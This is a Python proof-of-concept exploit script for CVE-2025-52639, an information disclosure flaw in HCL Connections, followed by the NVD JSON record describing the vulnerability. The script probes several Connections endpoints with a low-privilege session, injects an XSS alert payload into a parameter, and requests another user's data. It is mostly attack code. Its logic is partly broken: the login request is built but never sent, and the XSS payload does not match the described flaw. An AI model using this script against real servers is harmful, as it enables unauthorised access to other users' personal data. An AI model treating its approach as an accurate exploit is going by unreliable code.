CVE-2025-52639

# CVE-2025-52639 PoC - HCL Connections Information Disclosure # This PoC demonstrates the information disclosure vulnerability # Requires valid low-privilege user credentials import requests import json TARGET_URL = "https://vulnerable-hcl-connections-server.com" USERNAME = "low_privilege_user" PASSWORD = "password123" def exploit_cve_2025_52639(): """ Exploit for CVE-2025-52639: HCL Connections Information Disclosure Attack Vector: Obtain sensitive information via improper data rendering """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/homepage/security/login" login_data = { "username": USERNAME, "password": PASSWORD } # Step 2: Identify vulnerable endpoint # The vulnerability allows accessing other users' data vulnerable_endpoints = [ "/connections/opensocial/gadgets/proxy", "/activities/service/atom/activity", "/profiles/atom/profile", "/dogear/atom/bookmark" ] for endpoint in vulnerable_endpoints: try: # Step 3: Request data with different resource identifiers target_url = f"{TARGET_URL}{endpoint}" params = { "containerID": "<script>alert('XSS')</script>", # Improper rendering "userId": "victim_user_id" # Attempt to access other user's data } response = session.get(target_url, params=params, timeout=10) # Step 4: Check for information disclosure if response.status_code == 200: # Look for sensitive data in response if "email" in response.text or "phone" in response.text: print(f"[+] Potential information disclosure at: {endpoint}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": print("CVE-2025-52639 PoC - HCL Connections Information Disclosure") print("=" * 60) result = exploit_cve_2025_52639() if result: print("[+] Vulnerability confirmed!") else: print("[-] Vulnerability not found or already patched")

{"cve": {"id": "CVE-2025-52639", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:48.617", "lastModified": "2025-11-20T19:03:16.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Connections is vulnerable to a sensitive information disclosure vulnerability which could allow a user to obtain sensitive information they are not entitled to, caused by improper rendering of application data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:-:*:*:*:*:*:*", "matchCriteriaId": "65CA8438-B6A6-4B36-826D-8625AACBC8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release1:*:*:*:*:*:*", "matchCriteriaId": "BF707A30-B342-43F2-A390-60E8FA8384D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release10:*:*:*:*:*:*", "matchCriteriaId": "718ED7EC-3899-448D-B661-39463F5F71D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release2:*:*:*:*:*:*", "matchCriteriaId": "294AE19B-3678-49C3-8613-A9331C5C1481"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release3:*:*:*:*:*:*", "matchCriteriaId": "773D1288-DF28-43F3-9517-B176DD840A8C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release4:*:*:*:*:*:*", "matchCriteriaId": "7FCB8E35-3FFA-42FA-8AEB-A2DD22D809C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release5:*:*:*:*:*:*", "matchCriteriaId": "8948C358-B168-45E3-BC9F-E5DA4DD56203"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release6:*:*:*:*:*:*", "matchCriteriaId": "C6879F00-1C87-44A6-83DF-A1DC80A85A88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release7:*:*:*:*:*:*", "matchCriteriaId": "28450E88-8377-4B0D-9383-B34C9EF28CC9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release8:*:*:*:*:*:*", "matchCriteriaId": "13C3274C-0784-4C88-9A2D-D7AAE3D9FC2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:connections:8.0:cumulative_release9:*:*:*:*:*:*", "matchCriteriaId": "F3848284-F133-4B35-AC04-9E4FFB17EDF8"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124241", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}